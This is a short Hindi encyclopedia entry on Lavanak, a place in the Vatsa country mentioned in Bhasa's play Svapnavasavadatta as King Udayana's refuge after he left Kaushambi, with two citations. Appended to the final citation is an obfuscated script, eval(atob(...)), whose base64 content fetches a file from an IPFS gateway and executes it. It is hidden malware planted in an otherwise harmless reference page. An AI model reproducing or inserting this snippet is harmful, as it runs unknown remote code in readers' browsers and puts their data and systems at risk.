लावाणक
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लावाणक नामक स्थान का उल्लेख संस्कृत के प्रसिद्ध नाटककार भास के 'स्वप्नवासवदत्ता' नाटक में हुआ है।[1]
- इसे वत्स देश के अंतर्गत बताया गया है।
- वत्स नरेश उदयन, आरुणि से पराजित होकर अपनी राजधानी कौशांबी को छोड़कर कुछ दिन तक लावाणक में रहा था।
- इसका लावणनील नामक नगर से अभिज्ञन करना संभव जान पड़ता है।[2]
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टीका टिप्पणी और संदर्भ
- ↑ वत्सभूमौ लावाणक नाम ग्रामस्तत्रो षितवानिस्म, अंक 1
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 816 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>